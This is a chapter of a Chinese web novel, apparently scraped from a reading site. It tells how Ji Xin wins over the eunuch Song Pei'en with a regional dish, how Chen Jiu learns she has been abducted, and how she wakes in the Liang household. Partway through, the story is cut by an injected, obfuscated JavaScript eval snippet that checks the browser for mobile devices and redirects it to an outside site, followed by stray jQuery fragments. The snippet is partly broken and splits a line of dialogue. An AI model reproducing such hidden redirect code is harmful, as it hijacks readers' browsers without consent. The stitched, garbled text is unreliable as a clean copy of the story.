小报探官札记团子贝琳达

44. 梁家

邱常发想讨好内常侍宋培恩,苦于无计可施,纪莘主动提出帮忙,邱常发相信纪莘办事牢靠,所以同意了。


第二日,邱常发来到何宅,纪莘把一只食盒交给了他。


邱常发好奇纪莘能有什么特别的办法,推开了食盒木盖。


食盒里是一盘卷起的半透明的米皮,米皮中间包裹着馅料,辅以绿色的菜叶和酱汁,因为是纪莘刚刚做好的,所以还冒着热气。


“这是何物?”邱常发在想的是,这吃食是没见过,但看着不是用什么名贵食材做的,宋培恩能看得上?


“这是泷州的一种吃食,叫龙龛糍。此物在泷州很常见,但泷州离华都城太远,华都城里很少有人会做。”纪莘道。


邱常发认真回忆了一番,“我怎么记得宋培恩不是泷州人?”


宋培恩不是泷州人,但他的对食是。


宋培恩的对食,正是曾因思念家乡,导致频频犯错,被纪莘训斥的尚宫局女史,殷玉瑾。


那时纪莘虽训斥了殷玉瑾,但理解她远离家乡的辛苦,故而和尚食局的人学了龙龛糍的做法,为殷玉瑾做了龙龛糍。


纪莘记得,当时殷玉瑾看见龙龛糍很是高兴,那么不妨再试一次。


宋培恩难以讨好,那就从他身边的人下手,或许殷玉瑾高兴了,宋培恩也就高兴了。


纪莘对邱常发道:“邱阿兄,请你相信我,把食盒尽快送给宋培恩,我相信会有一个好结果的。”


邱常发将信将疑的,但反正他也没有别的办法,姑且试一试吧。


邱常发没敢抱太大希望,但没想到,食盒送去的第二日,宋培恩就派人送来了消息,约邱常发见面详谈。


这种好消息势必是要告知陈氿这个东家的,所以邱常发收到消息之后,立即去找了陈氿。


从陈氿的宅子找到丁家,再找去了薛记香水行,邱常发这才找到人。


薛记香水行规模不小,有十几个大大小小的石砌浴池,不只可以洗澡,还提供搓背、按摩的服务,也备有香料和药材粉,提供为衣物熏香的服务。


除了这些,薛记香水行里还有卖馎饦的小摊,若是客人沐浴之后饿了,在香水行里直接便可解决。


邱常发找到陈氿时,陈氿正在小摊上给客人盛馎饦,见到邱常发过来,擦了擦手,领着邱常发去了小房间。


“你果然还是这习惯,心情一不好了,就跑来香水行给薛大侠干活。”邱常发道。


“哪来那么多废话,直接说什么事。还有,别总一口一个薛大侠的,义父早已退隐,他不愿听人再提过去的事。你就叫他薛叔,不行吗?”


“可不敢可不敢,”邱常发连连摆手,“我才几斤几两,哪能管薛大侠叫叔。对了,薛大侠他人呢?”


“义父不常露面,他腿脚不好,你也知道的。有事说事,没事你赶紧走。”


“啧,话还没说几句就撵人。”陈氿不给他倒茶,邱常发只能自给自足,边倒茶边说,“我们想买通内常侍宋培恩,从他那里获取宫廷消息,这事有眉目了,宋培恩约我们见面详谈。”


“这是好事,你去谈就可以了。”


“但有一个事……”邱常发吞吞吐吐的。


“有话直说!”


这个陈氿,今日真是异常暴躁。邱常发心里在想。


可话还是得硬着头皮说,邱常发道:“我若是去见宋培恩,还得带着一个人,因为是她打动的宋培恩。”


“谁啊?”


“纪莘。”


果然陈氿一听到纪莘的名字就急了,腾地一下站了起来,一拍桌子,“这事怎么和她扯上关系的?是她帮你搞定宋培恩的?她有没有跟你提什么条件?”


邱常发站起来,拍了拍陈氿手臂,“你看看你多出息,一听到纪莘,急得跟什么似的,坐下坐下,冷静冷静。”说完不管陈氿,自己又坐下了,“她是提条件了,她就说以后我们找宋培恩打听消息,带着她一起,她也有要打听的消息,仅此而已。我觉得没问题啊,这又不是什么过分的条件。”


陈氿气得伸直手臂,对着邱常发点来点去,“你,你,你气死我了你,不能答应她!”


“为何?”


“没有为何,反正不行。你去和她说清楚,我们不可能带着她!”


邱常发满心不解,但他不能不听东家的,只能道:“行,我现在就去找纪莘,跟她说,陈氿不同意带上她。”


邱常发快走到房间门口,陈氿突然大喊一声,“你站住!”


“又做甚?”


“我和你一起去找她!”陈氿说完,也不管邱常发是何反应,直接闷头向外走。


去何宅的一路上,邱常发絮絮叨叨的,“陈氿,我跟你讲,你和女娘相处,得把你那臭脾气收一收。尤其阿莘也是脾气犟的,你不让着她,难道还想她让着你?你可做梦去吧。你就一直这样,你们俩就不可能有和好的那天。”


陈氿听得不耐烦,“你什么都不知道,瞎叨叨什么。”


“嘿,我可是好心好意哈。我是不知道你们俩怎么了,但你难受我还看不出来?你说你都这么难受了,为什么不低头?也不是,你和我一起来找她,也算低头了。你待会儿啊,千万不能乱说话,要记着好好表现,说不准阿莘就能原谅你了。”


自从和纪莘谈崩,陈氿确实一直不好受,他想找纪莘,苦于没有合适的由头,还好今日邱常发送上门了。


不用邱常发提醒,陈氿也在思考等下该怎么和纪莘说话。


他可以再退一步,先不去问纪莘的来历,大不了他每日在纪莘身边转悠,这样万一纪莘做了什么,他也能及时帮忙。


陈氿想了一路,偏偏到了何宅时,纪莘不在。


他们在何宅门口等了一个多时辰,纪莘还没回来。


邱常发抬头看了看天,“不对啊,这时辰阿莘该回来了,人跑哪里去了?”


陈氿也觉得不对劲,打算去找附近街坊问问,正好听到了两名路过的妇人的聊天。


“何家一家都走了,但宅子里不还住着个小女娘,那小女娘也不是个安分的。”





;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781941|154039||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


我知道那小女娘,常常不见人影,然后过几天又出现了,跟闹鬼似的。”


“我跟你讲,那小女娘不知道得罪了哪里的大户人家,之前总有一伙人来找她,今日又来了,这回抓到人了,那小女娘不知被带到哪里去了。”


陈氿脸色越听越沉,脸黑得跟煞星似的,冲到了这两名妇人面前。


“什么时候的事?”陈氿问道。


两名妇人被吓得不轻,拍了拍心口,问陈氿:“你谁啊,没头没脑的,什么什么时候的事?”


陈氿面色沉沉地继续问:“你们刚才说何宅的小女娘被人抓了,什么时候的事?”


“就今日晌午啊。”


“你们亲眼看见的?”


“当然了。”妇人答得漫不经心。


陈氿心头一股无名火越烧越旺,“你们眼睁睁看着人被抓,不帮忙,不求救,不报官,还在这里当作谈资,良心何在!”


两名妇人也不高兴了,扯着嗓门,指着陈氿鼻子,道:“你算什么东西,我们多大年纪了,可是你长辈,有你这么跟长辈说话的吗!”


陈氿还打算和这两人对骂,被邱常发拽住,硬是被扯到了一边。


两名妇人见有人拉架,骂骂咧咧地离开了。


邱常发这才安抚陈氿道:“你和她们吵架有什么意义,当务之急是找出谁抓了阿莘,然后把她救回来。”


陈氿面色还是黑的,听完邱常发的话后,抬腿就走。


“诶,你去哪啊?”邱常发追着陈氿问。


陈氿大步向前走,没看邱常发,回道:“我知道是谁抓了她,我去找她。”


话说回纪莘这边。


纪莘晌午回到何宅时,又遇到了之前来找她的那伙人,这次她没来得及跑,那伙人捉住了她,用手帕捂住她的口鼻,然后她就晕了。


再醒来时,纪莘在一间不算宽敞,但勉强算精致的房间里。


床上用具和床边的纱帐皆是水粉色,桌案上的博山炉中不断有轻烟飘出,妆台上铺满各式饰品,美人榻上铺着一身也是水粉色的衣裙,衣箱被塞得鼓鼓囊囊,露出花花绿绿的一角。


看着像是间女子闺房。


纪莘走到门口,推开门向外看,院墙一重重的,此处应该是一处大宅子中的一个院落。


这可不好办,她该怎么跑?


门口坐着名婢女,见纪莘开了门,蹦起来叫道:“娘子醒啦!”


这婢女看着年纪不大,也就十四、五岁,梳着双丫髻,脸蛋圆圆,眼珠黑溜溜的,颊边两枚小酒窝,甚是喜庆可爱。


“你是谁,这里是何处?”纪莘问她。


“我叫梨子,这里是梁家。娘子,我以后就是您的婢女啦!”梨子回答得兴高采烈的。


梁家?


纪莘在原身的记忆里仔细寻找,没有和什么梁家有关的。


有些奇怪。


梨子的叫声招来了一名美妇人,美妇人从一间房内小跑出来,到了纪莘面前,“珍珍,你醒啦,快让阿娘看看。”


阿娘?